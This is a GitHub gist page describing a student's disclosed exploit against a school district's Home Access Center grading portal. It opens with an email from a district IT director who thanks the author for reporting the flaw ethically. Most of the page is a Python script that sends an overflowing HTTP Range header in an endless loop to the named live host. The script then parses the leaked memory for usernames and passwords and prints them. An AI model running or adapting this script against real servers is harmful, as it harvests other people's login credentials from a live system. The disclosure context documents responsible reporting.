Skip to content

Instantly share code, notes, and snippets.

@sshh12
Last active December 6, 2023 17:59
Show Gist options
  • Save sshh12/f468394dfa51f4cee2721e3e057740b9 to your computer and use it in GitHub Desktop.
Save sshh12/f468394dfa51f4cee2721e3e057740b9 to your computer and use it in GitHub Desktop.
Hacking My Grades...

Email Response

The information you sent was amazing. I think you definitely have a future in computers. 

I am sharing your information with the manufacture of the Home Access Center (HAC), SunGard. 

I will share their findings with you as well. 

Thank you again for your honorable and ethical approach to an issue. 

Regards. 
  • John Crumbley, Director of Information Services and Applications for CFISD.
import requests, re
# Create Overflowable Payload
lots_of_numbers = [1000000,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,5,5,5,5,5,5,5,5,5,5,5,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,3,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,2557906952,2557906952,2557906952,2557906952,2557906952,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25]
payload = ",".join(map(lambda n: str(n) + "-18446744073709551615", lots_of_numbers))
# Parse System Memory
creds = re.compile(r'LogOnDetails.UserName=.+&LogOnDetails.Password=.{0,15}')
while True:
# Send Payload and Get Dumped Data
data_dump = requests.get("https://home-access.cfisd.net/welcome.png", headers={"Range": "bytes=" + payload}).text.encode('ascii','ignore')
# Search
for cred in creds.findall(data_dump):
print(cred.replace("LogOnDetails.UserName=","Username: ").replace("&LogOnDetails.Password="," Password: "))
@siraiden2277
Copy link

pp

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment